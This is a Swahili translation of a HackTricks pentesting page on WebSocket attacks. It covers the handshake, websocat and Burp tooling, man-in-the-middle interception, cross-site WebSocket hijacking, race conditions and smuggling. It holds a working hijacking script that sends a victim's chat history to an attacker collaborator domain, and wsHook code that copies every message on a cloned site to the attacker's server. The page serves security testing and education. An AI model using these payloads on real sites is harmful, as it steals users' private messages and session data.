WebSocket Attacks

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ni nini WebSockets

Uhusiano wa WebSocket unawekwa kupitia salamu ya awali ya HTTP na umebuniwa kuwa wenye muda mrefu, kuruhusu mawasiliano ya pande zote wakati wowote bila hitaji la mfumo wa shughuli. Hii inafanya WebSockets kuwa muhimu sana kwa maombi yanayohitaji latensi ndogo au mawasiliano yaliyoanzishwa na seva, kama vile mito ya data ya kifedha ya moja kwa moja.

Kuweka Uhusiano wa WebSocket

Maelezo mazuri juu ya kuweka uhusiano wa WebSocket yanaweza kupatikana hapa. Kwa muhtasari, uhusiano wa WebSocket kawaida huanzishwa kupitia JavaScript ya upande wa mteja kama inavyoonyeshwa hapa chini:

var ws = new WebSocket("wss://normal-website.com/ws");

Itifaki ya wss inaashiria uhusiano wa WebSocket uliolindwa na TLS, wakati ws inaonyesha uhusiano usiolindwa.

Wakati wa kuanzisha uhusiano, mchakato wa handshake unafanywa kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unahusisha kivinjari kutuma ombi na seva kujibu, kama inavyoonyeshwa katika mifano ifuatayo:

Kivinjari kinatuma ombi la handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Majibu ya handshake ya seva:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Unganishaji unaendelea kwa kubadilishana ujumbe kwa pande zote mbili mara baada ya kuanzishwa.

Muhimu wa Msingi wa Handshake ya WebSocket:

  • Vichwa vya Connection na Upgrade vinatuma ishara ya kuanzisha handshake ya WebSocket.

  • Kichwa cha Sec-WebSocket-Version kinabainisha toleo la itifaki ya WebSocket inayotaka, kawaida ni 13.

  • Thamani ya kipekee iliyosimbwa kwa Base64 hutumwa katika kichwa cha Sec-WebSocket-Key, ikidhibitisha kuwa kila handshake ni ya kipekee, ambayo husaidia kuzuia matatizo na wakala wa kuhifadhi. Thamani hii sio kwa ajili ya uwakilishi bali kuthibitisha kuwa jibu halijazalishwa na seva au hifadhi iliyopangwa vibaya.

  • Kichwa cha Sec-WebSocket-Accept katika jibu la seva ni hash ya Sec-WebSocket-Key, ikithibitisha nia ya seva ya kufungua uhusiano wa WebSocket.

Vipengele hivi vinahakikisha kuwa mchakato wa handshake ni salama na wa kuaminika, ukifungua njia ya mawasiliano ya wakati halisi yenye ufanisi.

Konsoli ya Linux

Unaweza kutumia websocat kuweka uhusiano wa moja kwa moja na websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Au kuunda seva ya websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Kudukua Mawasiliano ya Websocket kwa Kati (MitM)

Ikiwa utagundua kuwa wateja wameunganishwa kwenye websocket ya HTTP kutoka kwenye mtandao wako wa ndani wa sasa, unaweza kujaribu Shambulio la ARP Spoofing ili kutekeleza shambulio la MitM kati ya mteja na seva. Marafiki mteja anapojaribu kuunganisha, unaweza kutumia:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Uchambuzi wa Websockets

Unaweza kutumia zana https://github.com/PalindromeLabs/STEWS kugundua, kufuatilia na kutafuta makosa yanayojulikana katika websockets kiotomatiki.

Zana za Uchunguzi wa Websocket

  • Burp Suite inasaidia mawasiliano ya MitM ya websockets kwa njia sawa na vile inavyofanya kwa mawasiliano ya kawaida ya HTTP.

  • Kifaa cha socketsleuth cha Burp Suite kitakuruhusu kusimamia mawasiliano ya Websocket vizuri katika Burp kwa kupata historia, kuweka kanuni za kuingilia, kutumia kanuni za kufanana na kubadilisha, kutumia Intruder na AutoRepeater.

  • WSSiP: Kifupi cha "WebSocket/Socket.io Proxy", zana hii, iliyoandikwa kwa Node.js, inatoa kiolesura cha mtumiaji kwa kukamata, kuingilia, kutuma ujumbe wa kawaida na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.

  • wsrepl ni REPL ya websocket ya kuingiliana iliyoundwa mahsusi kwa ajili ya upenyezaji wa mtihani. Inatoa kiolesura cha kuangalia ujumbe wa websocket unaoingia na kutuma ujumbe mpya, na mfumo rahisi wa kutumia kwa kuautomatisha mawasiliano haya.

  • https://websocketking.com/ ni wavuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.

  • https://hoppscotch.io/realtime/websocket pamoja na aina nyingine za mawasiliano/itifaki, inatoa wavuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.

Maabara ya Websocket

Katika Burp-Suite-Extender-Montoya-Course una nambari ya kuzindua wavuti kwa kutumia websockets na katika chapisho hili unaweza kupata maelezo.

Udukuzi wa Websocket wa Msalaba (CSWSH)

Udukuzi wa Websocket wa Msalaba, pia inajulikana kama udukuzi wa Websocket wa asili ya msalaba, unatambuliwa kama kesi maalum ya Cross-Site Request Forgery (CSRF) inayoathiri mikono ya Websocket. Makosa haya yanatokea wakati mikono ya Websocket inathibitisha tu kupitia vidakuzi vya HTTP bila vitambulisho vya CSRF au hatua za usalama kama hizo.

Wahalifu wanaweza kutumia hii kwa kuandaa ukurasa mbaya ambao unazindua uhusiano wa Websocket wa asili ya msalaba kwa maombi yaliyo hatarini. Kwa hiyo, uhusiano huu unachukuliwa kama sehemu ya kikao cha mwathirika na maombi, ukidukua ukosefu wa ulinzi wa CSRF katika mfumo wa kushughulikia kikao.

Shambulio Rahisi

Tambua kwamba wakati wa kuweka uhusiano wa websocket, kidakuzi hutumwa kwa seva. Seva inaweza kutumia kidakuzi hicho kwa kuhusisha kila mtumiaji maalum na kikao chake cha websocket kulingana na kidakuzi kilichotumwa.

Kwa hiyo, ikiwa kwa mfano seva ya websocket inarudisha historia ya mazungumzo ya mtumiaji ikiwa ujumbe wenye "READY" unatumwa, basi XSS rahisi inayoweka uhusiano (kidakuzi kitatumwa kiotomatiki kuidhinisha mtumiaji mwathirika) kutuma "READY" itaweza kupata historia ya mazungumzo:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Msalaba wa Asili + Kidakuzi na kikoa tofauti

Katika chapisho hili la blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, mshambuliaji alifanikiwa kutekeleza Javascript ya kiholela katika kikoa kidogo cha kikoa ambapo mawasiliano ya soketi ya wavuti yalikuwa yanatokea. Kwa kuwa ilikuwa ni kikoa kidogo, kidakuzi kilikuwa kinatumiwa na kwa sababu Websocket haikuchunguza Asili kwa usahihi, ilikuwa inawezekana kuwasiliana nayo na kuiba alama kutoka kwake.

Kuiba data kutoka kwa mtumiaji

Nakili programu-jalizi ya wavuti unayotaka kuiga (faili za .html kwa mfano) na ndani ya skripti ambapo mawasiliano ya soketi ya wavuti yanatokea, ongeza msimbo huu:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Sasa pakua faili ya wsHook.js kutoka https://github.com/skepticfx/wshook na ihifadhi ndani ya folda na faili za wavuti. Kwa kufichua programu ya wavuti na kumfanya mtumiaji kuunganisha nayo, utaweza kuiba ujumbe uliotumwa na kupokelewa kupitia websocket:

sudo python3 -m http.server 80

Mashindano ya Hali

Mashindano ya Hali katika WebSockets ni jambo lingine, angalia habari hii ili kujifunza zaidi.

Udhaifu Mwingine

Kwa kuwa Web Sockets ni mfumo wa kupeleka data kwa upande wa seva na upande wa mteja, kulingana na jinsi seva na mteja wanavyoshughulikia habari, Web Sockets inaweza kutumika kudhoofisha udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia kuingiza kwa mtumiaji kutoka kwenye websocket.

Udhaifu wa WebSocket Smuggling

Udhaifu huu unaweza kukuruhusu kukiuka vizuizi vya wakala wa kurudisha kwa kuwafanya waamini kwamba mawasiliano ya websocket yameanzishwa (hata kama sio kweli). Hii inaweza kuruhusu mshambuliaji kupata vituo vilivyofichwa. Kwa habari zaidi angalia ukurasa ufuatao:

pageUpgrade Header Smuggling

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated